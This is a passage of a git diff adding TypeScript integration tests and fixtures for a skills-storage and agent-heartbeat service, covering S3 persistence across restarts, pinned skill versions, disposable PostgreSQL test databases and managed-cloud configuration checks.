Promise.all(servers.map(stop)); + await db?.$client.end({ timeout: 1 }); + await database?.cleanup(); + if (s3) { + while (true) { + const objects = await s3.send(new ListObjectsV2Command({ Bucket: bucket })); + if (!objects.Contents?.length) break; + await s3.send(new DeleteObjectsCommand({ Bucket: bucket, Delete: { Objects: objects.Contents.map(object => ({ Key: object.Key! })) } })); + } + await s3.send(new DeleteBucketCommand({ Bucket: bucket })); + s3.destroy(); + } + if (root) await removeRuntimeAssetTree(root); + }, 90_000); + async function start(name: string): Promise { + const home = path.join(root, name); + const child = fork(fileURLToPath(new URL("./helpers/ephemeral-skills-server.ts", import.meta.url)), [], { + execArgv: ["--import", fileURLToPath(import.meta.resolve("tsx"))], stdio: ["ignore", "pipe", "pipe", "ipc"], + env: { ...process.env, DATABASE_URL: database.connectionString, PAPERCLIP_HOME: home, PAPERCLIP_INSTANCE_ID: "default", + PAPERCLIP_STORAGE_PROVIDER: "s3", PAPERCLIP_STORAGE_S3_BUCKET: bucket, + PAPERCLIP_STORAGE_S3_ENDPOINT: process.env.PAPERCLIP_TEST_S3_ENDPOINT, PAPERCLIP_STORAGE_S3_FORCE_PATH_STYLE: "true", + PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED: "true", PAPERCLIP_LOG_LEVEL: "error", PAPERCLIP_TELEMETRY_ENABLED: "false" }, + }); + let logs = ""; + child.stdout?.on("data", data => { logs = (logs + data).slice(-5000); }); + child.stderr?.on("data", data => { logs = (logs + data).slice(-5000); }); + let nextId = 0; + const server: Server = { child, home, url: "", rpc(method, input) { + const id = ++nextId; + return new Promise((resolve, reject) => { + const timer = setTimeout(() => { cleanup(); reject(new Error(`Fixture RPC timed out: ${method}\n${logs}`)); }, 30_000); + const receive = (message: any) => { if (message.id === id) { cleanup(); message.error ? reject(new Error(message.error)) : resolve(message.result); } }; + const exit = () => { cleanup(); reject(new Error(`Fixture exited during ${method}: ${logs}`)); }; + const cleanup = () => { clearTimeout(timer); child.off("message", receive); child.off("exit", exit); }; + child.on("message", receive); child.on("exit", exit); child.send({ id, method, input }); + }); + } }; + servers.push(server); + await new Promise((resolve, reject) => { + const timer = setTimeout(() => { cleanup(); reject(new Error(`Fixture startup timed out: ${logs}`)); }, 60_000); + const receive = (message: any) => { if (message.ready) { server.url = `http://127.0.0.1:${message.port}/api`; cleanup(); resolve(); } }; + const exit = () => { cleanup(); reject(new Error(`Fixture startup failed: ${logs}`)); }; + const cleanup = () => { clearTimeout(timer); child.off("message", receive); child.off("exit", exit); }; + child.on("message", receive); child.on("exit", exit); + }); + return server; + } + async function request(server: Server, route: string, method = "GET", body?: Record, expected = 200) { + const response = await fetch(`${server.url}${route}`, { method, headers: { "Content-Type": "application/json" }, + body: body ? JSON.stringify(body) : undefined, signal: AbortSignal.timeout(30_000) }); + const result = await response.json(); + expect(response.status, JSON.stringify(result)).toBe(expected); + return result; + } + async function company() { + const companyId = randomUUID(); + await db.insert(companies).values({ id: companyId, name: "Ephemeral skill qualification", issuePrefix: `EP${companyId.slice(0, 5)}` }); + return companyId; + } + async function directoryBytes(directory: string): Promise { + let bytes = 0; + for (const entry of await fs.readdir(directory, { withFileTypes: true }).catch(() => [])) { + const absolute = path.join(directory, entry.name); + bytes += entry.isDirectory() ? await directoryBytes(absolute) : (await fs.stat(absolute)).size; + } + return bytes; + } + + it("preserves unassigned content, exact receipts and executable delivery through A → B → C", async () => { + const companyId = await company(); + const route = `/companies/${companyId}/skills`; + const a = await start("a"); + const input = { name: "Cold fixture", slug: "cold-fixture", markdown: "# Version A\n", idempotencyKey: "create-once" }; + const created = await request(a, route, "POST", input, 201); + const files = `${route}/${created.id}/files`; + const script = await request(a, files, "PATCH", { path: "scripts/run.sh", content: "#!/bin/sh\ncat references/value.txt\n", executable: true, expectedVersionId: created.currentVersionId }); + const saved = await request(a, files, "PATCH", { path: "references/value.txt", content: "durable useful result\n", expectedVersionId: script.versionId }); + await request(a, route); + await stop(a); + await removeRuntimeAssetTree(a.home); + await fs.writeFile(a.home, "predecessor filesystem unavailable"); + const b = await start("b"); + await b.rpc("metrics"); + expect((await request(b, route)).some((skill: any) => skill.id === created.id)).toBe(true); + await request(b, `${route}/${created.id}/versions`); + expect((await b.rpc("metrics")).downloads).toBe(0); + const coldStarted = performance.now(); + expect(await request(b, `${files}?path=references/value.txt`)).toMatchObject({ content: "durable useful result\n", versionId: saved.versionId }); + const coldReadMs = performance.now() - coldStarted; + const coldMetrics = await b.rpc("metrics"); + expect(coldMetrics.downloads).toBeGreaterThan(0); + expect(await b.rpc("runtime", { companyId, key: created.key, execute: true })).toMatchObject({ versionId: saved.versionId, output: "durable useful result\n" }); + await b.rpc("metrics"); + const warm = await b.rpc("runtime", { companyId, key: created.key, execute: true }); + const warmMetrics = await b.rpc("metrics"); + expect(warmMetrics.downloads).toBe(0); + const temporaryBytes = await directoryBytes(b.home); + await b.rpc("faults", { lostResponse: true }); + const saveInput = { path: "SKILL.md", content: "# Version B\n", expectedVersionId: saved.versionId, idempotencyKey: "save-once" }; + await expect(request(b, files, "PATCH", saveInput)).rejects.toThrow(); + const receipt = await request(b, files, "PATCH", saveInput); + expect(receipt).toMatchObject({ skillId: created.id, path: "SKILL.md" }); + const c = await start("c"); + expect(await request(c, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Version B\n", versionId: receipt.versionId }); + expect(await request(c, route, "POST", input)).toEqual(created); + await stop(b); + await removeRuntimeAssetTree(b.home); + expect(await c.rpc("runtime", { companyId, key: created.key, versionId: saved.versionId, execute: true })) + .toMatchObject({ versionId: saved.versionId, markdown: "# Version A\n", output: "durable useful result\n" }); + expect(await request(c, files, "PATCH", { ...saveInput, content: "different" }, 409)).toHaveProperty("error"); + process.stdout.write(`${JSON.stringify({ qualification: "A-B-C", versions: [created.currentVersionId, saved.versionId, receipt.versionId], + coldReadMs, coldDownloads: coldMetrics.downloads, coldObjectBytes: coldMetrics.downloadedBytes, + warmMs: warm.elapsedMs, warmDownloads: warmMetrics.downloads, rssBytes: warmMetrics.memory.rss, temporaryBytes })}\n`); + }, 180_000); + + it("rejects concurrent stale publication and survives upload failure or process death", async () => { + const companyId = await company(), route = `/companies/${companyId}/skills`; + const a = await start("concurrent-a"), b = await start("concurrent-b"); + const created = await request(a, route, "POST", { name: "Conflict", markdown: "# Stable\n" }, 201); + const files = `${route}/${created.id}/files`; + await request(a, `${files}?path=SKILL.md`); + const edit = await request(b, files, "PATCH", { path: "first.txt", content: "B", expectedVersionId: created.currentVersionId }); + await request(a, files, "PATCH", { path: "second.txt", content: "A", expectedVersionId: created.currentVersionId }, 409); + expect(await request(a, `${files}?path=first.txt`)).toMatchObject({ content: "B", versionId: edit.versionId }); + await a.rpc("faults", { failUploads: true }); + await request(a, files, "PATCH", { path: "SKILL.md", content: "# Must not commit\n", expectedVersionId: edit.versionId }, 500); + expect(await request(b, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Stable\n", versionId: edit.versionId }); + await a.rpc("faults", { crashAfterUpload: true }); + await expect(request(a, files, "PATCH", { path: "SKILL.md", content: "# Crash candidate\n", expectedVersionId: edit.versionId })).rejects.toThrow(); + expect(await request(b, `${files}?path=SKILL.md`)).toMatchObject({ content: "# Stable\n", versionId: edit.versionId }); + }, 180_000); +}); diff --git a/server/src/__tests__/fixtures/sandbox-creation-receiver.ts b/server/src/__tests__/fixtures/sandbox-creation-receiver.ts new file mode 100644 index 00000000000..fc42f436492 --- /dev/null +++ b/server/src/__tests__/fixtures/sandbox-creation-receiver.ts @@ -0,0 +1,34 @@ +import { createDb } from "@paperclipai/db"; +import { environmentRuntimeService } from "../../services/environment-runtime.js"; +import { environmentService } from "../../services/environments.js"; +import type { PluginWorkerManager } from "../../services/plugin-worker-manager.js"; + +const db = createDb(process.env.CREATION_FIXTURE_DATABASE_URL!); +const workers = { + isRunning: () => true, + getWorker: () => ({ supportedMethods: ["environmentAcquireLease", "environmentInspectLease", "environmentDestroyLease"] }), + call: async (_pluginId: string, method: string, input: unknown) => { + const response = await fetch(process.env.CREATION_FIXTURE_PROVIDER_URL!, { + method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ method, input }), + }); + if (!response.ok) throw new Error("Controlled provider unavailable"); + return response.json(); + }, +} as unknown as PluginWorkerManager; +try { + const runtime = environmentRuntimeService(db, { + pluginWorkerManager: workers, orphanCleanupSpoolDir: process.env.CREATION_FIXTURE_EMPTY_DISK, + }); + if (process.env.CREATION_FIXTURE_ACTION === "acquire") { + await runtime.acquireRunLease({ companyId: process.env.CREATION_FIXTURE_COMPANY_ID!, + environment: (await environmentService(db).getById(process.env.CREATION_FIXTURE_ENVIRONMENT_ID!))!, + heartbeatRunId: process.env.CREATION_FIXTURE_RUN_ID!, issueId: null, persistedExecutionWorkspace: null }); + } else { + await runtime.flushDeferredOrphanCleanups(); + } + process.stdout.write(JSON.stringify({ ok: true })); +} catch { + process.stdout.write(JSON.stringify({ ok: false })); +} finally { + await db.$client.end({ timeout: 1 }); +} diff --git a/server/src/__tests__/heartbeat-execution-configuration.test.ts b/server/src/__tests__/heartbeat-execution-configuration.test.ts index 0e89a77fae7..509a9cfa7e6 100644 --- a/server/src/__tests__/heartbeat-execution-configuration.test.ts +++ b/server/src/__tests__/heartbeat-execution-configuration.test.ts @@ -2,12 +2,12 @@ import { enableRunFailureReporting } from "./helpers/run-failure-reporting.js"; import { createHash, randomUUID } from "node:crypto"; import { trace } from "@opentelemetry/api"; import { InMemorySpanExporter, SimpleSpanProcessor, TracerProvider } from "@opentelemetry/sdk-trace"; -import { access, chmod, mkdir, readdir, readFile, mkdtemp, rm } from "node:fs/promises"; +import { access, chmod, mkdir, readdir, readFile, mkdtemp, rm, stat } from "node:fs/promises"; import { tmpdir } from "node:os"; import path from "node:path"; import { eq } from "drizzle-orm"; import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest"; -import { agents, authUsers, companies, companyMemberships, companySkills, createDb, heartbeatRunEvents, heartbeatRuns, issues, projects, plugins, environments } from "@paperclipai/db"; +import { agents, authUsers, companies, companyMemberships, companySkills, companySkillTestRuns, createDb, heartbeatRunEvents, heartbeatRuns, issues, projects, plugins, environments } from "@paperclipai/db"; import { companySkillService } from "../services/company-skills.js"; import { withSkillVersionCacheLock } from "../services/skill-version-cache.js"; import { registerServerAdapter, unregisterServerAdapter, type AdapterExecutionContext } from "../adapters/index.js"; @@ -21,7 +21,7 @@ import { aiConnectionService } from "../services/ai-connections.js"; import * as aiRuntime from "../services/ai-connection-runtime.js"; import * as sentry from "../sentry.js"; import { waitForPendingRunFailureReports } from "../services/run-failure-report.js"; -import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; +import { recoveryPostgresSupport, startRecoveryPostgres } from "./helpers/recovery-postgres.js"; const skillFailures = vi.hoisted(() => new Map()); @@ -59,12 +59,12 @@ vi.mock("../services/company-skills.js", async importOriginal => { } }; }); -const support = await getEmbeddedPostgresTestSupport(); +const support = recoveryPostgresSupport; const describePostgres = support.supported ? describe : describe.skip; if (!support.supported) console.warn(`Skipping execution configuration tests: ${support.reason}`); describePostgres("heartbeat execution configuration through adapter dispatch", () => { - let temporary: Awaited>; + let temporary: Awaited>; let db: ReturnType; let heartbeat: ReturnType; const captured = new Map(); @@ -74,7 +74,7 @@ describePostgres("heartbeat execution configuration through adapter dispatch", ( let home: string; beforeAll(async () => { - temporary = await startEmbeddedPostgresTestDatabase("heartbeat-execution-config-"); + temporary = await startRecoveryPostgres("heartbeat-execution-config-"); db = createDb(temporary.connectionString); home = await mkdtemp(path.join(tmpdir(), "paperclip-execution-skills-")); process.env.PAPERCLIP_HOME = home; @@ -90,7 +90,7 @@ describePostgres("heartbeat execution configuration through adapter dispatch", ( }, testEnvironment: async () => ({ adapterType, status: "pass", checks: [], testedAt: new Date().toISOString() }), }); - }, 30_000); + }, 60_000); afterEach(() => { vi.restoreAllMocks(); vi.unstubAllEnvs(); skillFailures.clear(); }); afterAll(async () => { await heartbeat?.drainActiveRunExecutions(); @@ -220,14 +220,14 @@ describePostgres("heartbeat execution configuration through adapter dispatch", ( } }); - async function configuration(f: Awaited>, config: Record, snapshot: Record = {}, type = "paperclip_runner", explicitTaskDirectory = false, requestedExecutionWorkspaceMode: HeartbeatExecutionConfigurationInput["policy"]["requestedExecutionWorkspaceMode"] = "shared_workspace", selectedEnvironmentForConfig: HeartbeatExecutionConfigurationInput["environment"]["selectedEnvironmentForConfig"] = null) { + async function configuration(f: Awaited>, config: Record, snapshot: Record = {}, type = "paperclip_runner", explicitTaskDirectory = false, requestedExecutionWorkspaceMode: HeartbeatExecutionConfigurationInput["policy"]["requestedExecutionWorkspaceMode"] = "shared_workspace", selectedEnvironmentForConfig: HeartbeatExecutionConfigurationInput["environment"]["selectedEnvironmentForConfig"] = null, pinnedSkillTest?: HeartbeatExecutionConfigurationInput["task"]["pinnedSkillTest"]) { const [agent] = await db.update(agents).set({ adapterType: type, adapterConfig: config }).where(eq(agents.id, f.agentId)).returning(); const [run] = await db.insert(heartbeatRuns).values({ companyId: f.companyId, agentId: f.agentId, issueId: f.issueId, scopeKind: "issue", status: "running", contextSnapshot: snapshot }).returning(); const resolvedInstanceSettings = await instanceSettingsService(db).get(); const appendRunEvent = vi.fn(); return { run, appendRunEvent, prepare: () => prepareHeartbeatExecutionConfiguration(db, { run, agent, - task: { issueId: f.issueId, context: { ...snapshot, issueId: f.issueId }, responsibleUserId: null, + task: { issueId: f.issueId, context: { ...snapshot, issueId: f.issueId }, responsibleUserId: null, pinnedSkillTest, acceptedPlanContinuationWake: false, acceptedPlanWakeRoutingDecision: null, taskProjectContext: null, routineEnvContext: { routineId: null, env: null, responsibleUserId: null } }, config: { sourceWorkspaceConfig: config, aiBinding: undefined }, @@ -239,6 +239,56 @@ describePostgres("heartbeat execution configuration through adapter dispatch", ( }) }; } + it("delivers the Studio pin instead of ordinary assignments and recovers that exact native selection", async () => { + const f = await seed(), skills = companySkillService(db); + const selected = await skills.createLocalSkill(f.companyId, { name: "Unassigned Studio skill", markdown: "# Studio\nOriginal selected bytes.\n" }); + const other = await skills.createLocalSkill(f.companyId, { name: "Ordinary assignment" }); + const pin = { key: selected.key, versionId: selected.currentVersionId! }; + await skills.updateFile(f.companyId, selected.id, "SKILL.md", "# Studio\nNewer head.\n"); + const config = { paperclipSkillSync: { desiredSkills: [other.key] } }; + await instanceSettingsService(db).updateExperimental({ enableBetaSkills: false }); + const opening = await configuration(f, config, {}, "paperclip_runner", false, "shared_workspace", null, pin); + const result = await opening.prepare(); + expect(result.prepared).toBe(true); + if (!result.prepared) throw new Error("Configuration did not finish"); + expect(result.runtimeSkillEntries).toEqual([expect.objectContaining({ key: selected.key, versionId: pin.versionId })]); + expect(await readFile(path.join(result.runtimeSkillEntries[0]!.source, "SKILL.md"), "utf8")).toContain("Original selected bytes."); + const [saved] = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, opening.run.id)); + expect(saved.contextSnapshot!.skillVersions).toEqual({ [selected.key]: pin.versionId }); + const restoring = await configuration(f, { paperclipSkillSync: { desiredSkills: [] } }, saved.contextSnapshot!, "paperclip_runner"); + expect(await restoring.prepare()).toMatchObject({ runtimeSkillEntries: [expect.objectContaining({ key: selected.key, versionId: pin.versionId })] }); + const preconfigured = await configuration(f, { ...config, homeMode: "preconfigured" }, {}, "paperclip_runner", false, "shared_workspace", null, pin); + await expect(preconfigured.prepare()).rejects.toThrow("isolated Runner home"); + await db.update(companySkills).set({ accessSourceId: randomUUID() }).where(eq(companySkills.id, selected.id)); + const denied = await configuration(f, config, {}, "paperclip_runner", false, "shared_workspace", null, pin); + await expect(denied.prepare()).rejects.toThrow("pinned skill is unavailable or no longer permitted"); + }, 60_000); + + it("dispatches an unassigned Studio revision from its durable harness row", async () => { + const f = await seed(), skills = companySkillService(db); + const selected = await skills.createLocalSkill(f.companyId, { name: "Studio delivery", markdown: "# Studio\nRead scripts/prove.sh.\n" }); + const script = "#!/bin/sh\nprintf 'studio-pinned-proof\\n'\n"; + const saved = await skills.updateFile(f.companyId, selected.id, "scripts/prove.sh", script, null, { executable: true }); + const other = await skills.createLocalSkill(f.companyId, { name: "Assigned instead" }); + await db.update(agents).set({ adapterConfig: { paperclipSkillSync: { desiredSkills: [other.key] } } }).where(eq(agents.id, f.agentId)); + await db.update(issues).set({ workMode: "skill_test", harnessKind: "skill_test" }).where(eq(issues.id, f.issueId)); + await db.insert(companySkillTestRuns).values({ companyId: f.companyId, skillId: selected.id, skillVersionId: saved.versionId!, + agentId: f.agentId, issueId: f.issueId, inputSnapshot: "Run the saved script." }); + await skills.updateFile(f.companyId, selected.id, "scripts/prove.sh", "#!/bin/sh\necho newer\n", null, { executable: true }); + const { finished, input } = await execute(f); + expect(finished.status, finished.error ?? undefined).toBe("succeeded"); + const delivered = input?.config.paperclipRuntimeSkills as Array<{ key: string; source: string; versionId: string }>; + const testSkill = delivered.find(entry => entry.key === selected.key)!; + expect(testSkill).toMatchObject({ versionId: saved.versionId }); + expect(delivered.some(entry => entry.key === other.key)).toBe(false); + expect(await readFile(path.join(testSkill.source, "scripts/prove.sh"), "utf8")).toBe(script); + expect((await stat(path.join(testSkill.source, "scripts/prove.sh"))).mode & 0o111).not.toBe(0); + expect(finished.contextSnapshot).toMatchObject({ skillVersions: { [selected.key]: saved.versionId }, + paperclipSkillTest: { skillKey: selected.key, skillVersionId: saved.versionId } }); + const [unchangedAgent] = await db.select().from(agents).where(eq(agents.id, f.agentId)); + expect(unchangedAgent.adapterConfig).toMatchObject({ paperclipSkillSync: { desiredSkills: [other.key] } }); + }, 60_000); + it("does not install new environment declarations when recovering a saved skill selection", async () => { const f = await seed(), pluginId = randomUUID(), pluginKey = `fixture.${randomUUID()}`; await db.insert(plugins).values({ id: pluginId, pluginKey, packageName: "fixture", version: "1.0.0", status: "ready", diff --git a/server/src/__tests__/heartbeat-plugin-environment.test.ts b/server/src/__tests__/heartbeat-plugin-environment.test.ts index f41e8aea8cf..4fbedda7558 100644 --- a/server/src/__tests__/heartbeat-plugin-environment.test.ts +++ b/server/src/__tests__/heartbeat-plugin-environment.test.ts @@ -278,6 +278,7 @@ describeEmbeddedPostgres("heartbeat plugin environments", () => { }, { timeout: 5_000 }); expect(workerManager.call).toHaveBeenNthCalledWith(1, pluginId, "environmentAcquireLease", { + creationOperationId: expect.any(String), driverKey: "sandbox", companyId, environmentId, @@ -745,6 +746,7 @@ describeEmbeddedPostgres("heartbeat plugin environments", () => { }, { timeout: 5_000 }); expect(workerManager.call).toHaveBeenNthCalledWith(1, pluginId, "environmentAcquireLease", { + creationOperationId: expect.any(String), driverKey: "sandbox", companyId, environmentId: newEnvironmentId, diff --git a/server/src/__tests__/heartbeat-runtime-skills.test.ts b/server/src/__tests__/heartbeat-runtime-skills.test.ts index 247e7069bbb..a06a6a26bec 100644 --- a/server/src/__tests__/heartbeat-runtime-skills.test.ts +++ b/server/src/__tests__/heartbeat-runtime-skills.test.ts @@ -24,6 +24,7 @@ import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase, } from "./helpers/embedded-postgres.js"; +import { skillInstallationMaintenance } from "../services/skill-installation-maintenance.js"; import { companySkillService } from "../services/company-skills.ts"; import { heartbeatService } from "../services/heartbeat.ts"; import { instanceSettingsService } from "../services/instance-settings.ts"; @@ -160,7 +161,11 @@ describeEmbeddedPostgres("heartbeat runtime skill version pins", () => { const skills = companySkillService(db); const imported = await skills.importFromSource(companyId, directory); const key = imported.imported[0]!.key; - if (sourceType === "catalog") await db.update(companySkills).set({ sourceType }).where(eq(companySkills.key, key)); + if (sourceType === "catalog") { + await db.update(companySkills).set({ sourceType }).where(eq(companySkills.key, key)); + const result = await skillInstallationMaintenance(db).installations({ id: imported.imported[0]!.id, apply: true, writersStopped: true }); + expect(result.results[0]!.status).toBe("converted"); + } const selected = { snapshotLatest: true, onlyKeys: new Set([key]) }; const [first] = await skills.listRuntimeSkillEntries(companyId, selected); expect(first!.versionId).toBeTruthy(); @@ -169,6 +174,14 @@ describeEmbeddedPostgres("heartbeat runtime skill version pins", () => { // A reference-only change must be discovered even when SKILL.md is unchanged. await fs.writeFile(path.join(directory, 'references/marker.txt'), 'v2\n'); if (sourceType === "local_path") await skills.importFromSource(companyId, directory); + else { + const [beforeUpdate] = await skills.listRuntimeSkillEntries(companyId, selected); + expect(beforeUpdate!.versionId).toBe(first!.versionId); + const saved = (await skills.getVersion(companyId, imported.imported[0]!.id, first!.versionId!))!; + await skills.createVersion(companyId, imported.imported[0]!.id, {}, null, { + fileInventory: saved.fileInventory.map(file => file.path === "references/marker.txt" ? { ...file, content: "v2\n" } : file), + }); + } const [latest] = await skills.listRuntimeSkillEntries(companyId, selected); expect(latest!.versionId).not.toBe(first!.versionId); expect(await fs.readFile(path.join(latest!.source, 'references/marker.txt'), 'utf8')).toBe('v2\n'); diff --git a/server/src/__tests__/helpers/embedded-postgres.ts b/server/src/__tests__/helpers/embedded-postgres.ts index 4318162a9ac..a5088faa573 100644 --- a/server/src/__tests__/helpers/embedded-postgres.ts +++ b/server/src/__tests__/helpers/embedded-postgres.ts @@ -1,6 +1,35 @@ -export { - getEmbeddedPostgresTestSupport, - startEmbeddedPostgresTestDatabase, +import { randomUUID } from "node:crypto"; +import { + applyPendingMigrations, + createDb, + getEmbeddedPostgresTestSupport as embeddedSupport, + startEmbeddedPostgresTestDatabase as startEmbedded, type EmbeddedPostgresTestDatabase, type EmbeddedPostgresTestSupport, } from "@paperclipai/db"; + +export type { EmbeddedPostgresTestDatabase, EmbeddedPostgresTestSupport }; + +export async function getEmbeddedPostgresTestSupport(): Promise { + return process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? { supported: true } : embeddedSupport(); +} + +export async function startEmbeddedPostgresTestDatabase(prefix: string): Promise { + const adminUrl = process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL; + if (!adminUrl) return startEmbedded(prefix); + const name = `paperclip_test_${randomUUID().replaceAll("-", "")}`; + const template = process.env.PAPERCLIP_TEST_POSTGRES_TEMPLATE; + if (template && !/^paperclip_test_template_[a-f0-9]+$/.test(template)) throw new Error("Invalid disposable test template name"); + const admin = createDb(adminUrl, { maxConnections: 1 }); + const url = new URL(adminUrl); + url.pathname = `/${name}`; + const cleanup = async () => { + try { await admin.$client.unsafe(`DROP DATABASE IF EXISTS "${name}" WITH (FORCE)`); } + finally { await admin.$client.end({ timeout: 1 }); } + }; + try { + await admin.$client.unsafe(`CREATE DATABASE "${name}"${template ? ` TEMPLATE "${template}"` : ""}`); + if (!template) await applyPendingMigrations(url.toString()); + return { connectionString: url.toString(), cleanup }; + } catch (error) { await cleanup(); throw error; } +} diff --git a/server/src/__tests__/helpers/ephemeral-skills-server.ts b/server/src/__tests__/helpers/ephemeral-skills-server.ts new file mode 100644 index 00000000000..20b9dc743e9 --- /dev/null +++ b/server/src/__tests__/helpers/ephemeral-skills-server.ts @@ -0,0 +1,76 @@ +import express from "express"; +import { promisify } from "node:util"; +import { execFile } from "node:child_process"; +import { promises as fs } from "node:fs"; +import path from "node:path"; +import { createDb } from "@paperclipai/db"; +import { companySkillRoutes } from "../../routes/company-skills.js"; +import { errorHandler } from "../../middleware/error-handler.js"; +import { companySkillService } from "../../services/company-skills.js"; +import { getStorageService } from "../../storage/index.js"; + +const db = createDb(process.env.DATABASE_URL!, { maxConnections: 1 }); +const storage = getStorageService(); +const getObject = storage.getObject.bind(storage), putFile = storage.putFile.bind(storage); +let downloads = 0, downloadedBytes = 0, failUploads = false, crashAfterUpload = false, lostResponse = false; +storage.getObject = async (...args) => { + downloads++; + const result = await getObject(...args); + downloadedBytes += result.contentLength ?? 0; + return result; +}; +storage.putFile = async (...args) => { + if (failUploads) throw new Error("Qualification upload failure"); + const result = await putFile(...args); + if (crashAfterUpload) process.kill(process.pid, "SIGKILL"); + return result; +}; +const app = express(); +app.use(express.json()); +app.use((req, res, next) => { + req.actor = { type: "board", source: "local_implicit", userId: "local-board", isInstanceAdmin: true }; + const json = res.json.bind(res); + res.json = ((body: unknown) => { + if (lostResponse && res.statusCode < 400 && req.method !== "GET") { + lostResponse = false; + res.socket?.destroy(); + return res; + } + return json(body); + }) as typeof res.json; + next(); +}); +app.use("/api", companySkillRoutes(db)); +app.use(errorHandler); +const server = app.listen(0, "127.0.0.1", () => { + const address = server.address(); + process.send?.({ ready: true, port: typeof address === "object" ? address?.port : null, pid: process.pid }); +}); +process.on("message", async (message: { id: number; method: string; input?: Record }) => { + try { + const input = message.input ?? {}; + let result: unknown; + if (message.method === "faults") { + failUploads = input.failUploads ?? false; + crashAfterUpload = input.crashAfterUpload ?? false; + lostResponse = input.lostResponse ?? false; + result = true; + } else if (message.method === "metrics") { + result = { downloads, downloadedBytes, memory: process.memoryUsage() }; + downloads = 0; downloadedBytes = 0; + } else if (message.method === "runtime") { + const started = performance.now(); + result = await companySkillService(db).withRuntimeSkillEntries(input.companyId, { + onlyKeys: new Set([input.key]), snapshotLatest: true, + ...(input.versionId ? { versionSelections: new Map([[input.key, input.versionId]]) } : {}), + }, async entries => { + const entry = entries[0]; + if (!entry || entry.sourceStatus === "missing") throw new Error(entry?.missingDetail ?? "Missing runtime selection"); + const output = input.execute ? await promisify(execFile)(path.join(entry.source, "scripts/run.sh"), [], { cwd: entry.source }) : null; + return { versionId: entry.versionId, markdown: await fs.readFile(path.join(entry.source, "SKILL.md"), "utf8"), + output: output?.stdout, elapsedMs: performance.now() - started }; + }); + } else throw new Error("Unknown fixture method"); + process.send?.({ id: message.id, result }); + } catch (error) { process.send?.({ id: message.id, error: error instanceof Error ? error.message : String(error) }); } +}); diff --git a/server/src/__tests__/managed-cloud-prerequisites.test.ts b/server/src/__tests__/managed-cloud-prerequisites.test.ts new file mode 100644 index 00000000000..7f0e80ac907 --- /dev/null +++ b/server/src/__tests__/managed-cloud-prerequisites.test.ts @@ -0,0 +1,201 @@ +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { createServer } from "node:http"; +import type { AddressInfo } from "node:net"; +import { createStorageProviderFromConfig } from "../storage/provider-registry.js"; +import { createLocalEncryptedCipher } from "../secrets/local-encrypted-provider.js"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { loadConfig } from "../config.js"; +import { readConfigFile } from "../config-file.js"; +import { readLegacyCloudRuntimeConfig } from "../services/cloud-runtime-config.js"; +import { setCloudRuntimeConfigSnapshot } from "../services/cloud-runtime-config-snapshot.js"; +const managed = JSON.stringify({ + v: 1, mode: "cloud", catalogVersion: "2026.720.0", features: {}, plugins: { autoInstall: [] }, +}); + +let configDir: string; + +beforeEach(() => { + setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: null }); + configDir = mkdtempSync(path.join(tmpdir(), "paperclip-cloud-config-")); + vi.stubEnv("PAPERCLIP_CONFIG", path.join(configDir, "config.json")); + vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", managed); + vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "s3"); + vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", "test-bucket"); + vi.stubEnv("PAPERCLIP_STORAGE_S3_REGION", undefined); + vi.stubEnv("PAPERCLIP_STORAGE_S3_ENDPOINT", undefined); + vi.stubEnv("DATABASE_URL", "postgresql://user:private@db.example.test/paperclip"); + vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012"); +}); +afterEach(() => { + setCloudRuntimeConfigSnapshot(null); + vi.unstubAllEnvs(); + rmSync(configDir, { recursive: true, force: true }); +}); + +function writeConfig(storage: Record) { + writeFileSync(path.join(configDir, "config.json"), JSON.stringify({ + $meta: { version: 1, updatedAt: "2026-10-30T00:00:00.000Z", source: "configure" }, + logging: { mode: "file" }, + server: {}, + storage, + database: { mode: "postgres", connectionString: "postgres://db.example.test/paperclip" }, + })); +} + +describe("managed cloud configuration boundary", () => { + it("accepts configured S3, external PostgreSQL, and the existing master-key formats", () => { + for (const key of ["12345678901234567890123456789012", Buffer.alloc(32, 7).toString("hex"), Buffer.alloc(32, 7).toString("base64")]) { + vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", key); + expect(loadConfig()).toMatchObject({ storageProvider: "s3", storageS3Bucket: "test-bucket", storageS3Region: "us-east-1" }); + } + }); + + it.each([undefined, "", "local_disk", "typo"])("rejects storage provider %j without silent fallback", (value) => { + vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", value); + expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_PROVIDER=s3/); + }); + + it.each([undefined, "", " "])("requires an explicit bucket (%j)", (value) => { + vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", value); + expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_S3_BUCKET/); + }); + + it.each(["", " "])("rejects blank region %j", (value) => { + vi.stubEnv("PAPERCLIP_STORAGE_S3_REGION", value); + expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_S3_REGION/); + }); + + it.each(["", "ftp://store.test", "https://user:private@store.test"])("rejects invalid endpoint without exposing it", (value) => { + vi.stubEnv("PAPERCLIP_STORAGE_S3_ENDPOINT", value); + expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_S3_ENDPOINT/); + try { loadConfig(); } catch (error) { expect(String(error)).not.toContain("private"); } + }); + + it.each([undefined, "", "sqlite://local/data", "postgresql://"])("requires an external database URL (%j)", (value) => { + vi.stubEnv("DATABASE_URL", value); + expect(() => loadConfig()).toThrow(/external PostgreSQL URL/); + }); + + it.each([undefined, "", " ", "short"])("rejects missing or invalid env key (%j), even with a configured key 